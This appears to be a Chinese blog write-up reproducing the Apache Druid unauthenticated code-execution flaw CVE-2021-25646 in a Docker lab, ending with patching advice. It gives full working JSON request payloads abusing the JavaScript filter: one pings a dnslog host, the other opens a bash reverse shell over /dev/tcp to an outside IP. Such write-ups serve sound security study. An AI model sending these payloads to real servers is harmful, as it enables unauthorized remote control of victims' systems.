Apache druid未授权命令执行漏洞复现(CVE-2021-25646)

Apache druid未授权命令执行漏洞复现(CVE-2021-25646)

1.简介

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

2.漏洞概述

  • 编号:CVE-2021-25646(严重)
    Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。

3.影响版本

  • Apache Druid < 0.20.1

4.环境搭建

ubuntu
1.安装docker

apt install docker.io

2.搭建漏洞环境

docker run -d -p 8081:8888 fokkodriesprong/docker-druid

在这里插入图片描述
在这里插入图片描述

5.漏洞复现

  • 我的ip为:121.36.200.207
  • 访问:http://121.36.200.207:8081
    点击Load data
    在这里插入图片描述

点击Local disk
在这里插入图片描述

右侧
Base directory填入:quickstart/tutorial/
File filter填入:wikiticker-2015-09-12-sampled.json.gz
点击preview,burp抓包
在这里插入图片描述
在这里插入图片描述

DNSlog

首先获取dnslog地址,
在这里插入图片描述

把请求正文改成以下正文,把yt1biq.dnslog.cn地址替换成自己获取的地址:

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping yt1biq.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

在这里插入图片描述
在这里插入图片描述

反弹shell

把请求正文改成以下正文,注意要改成自己的监听ip和端口:

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/121.36.200.207/1234 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

在这里插入图片描述

成功反弹shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NcD7XNNR-1618799413952)(./img/10.png)]

6.修复方式

  • 升级Apache Druid 到最新的版本
  • 对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器
    建议及时更新Apache Druid,下载链接为:
  • https://druid.apache.org/downloads.html
  • https://github.com/apache/druid/releases/tag/druid-0.20.1

欢迎大家评论交流

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值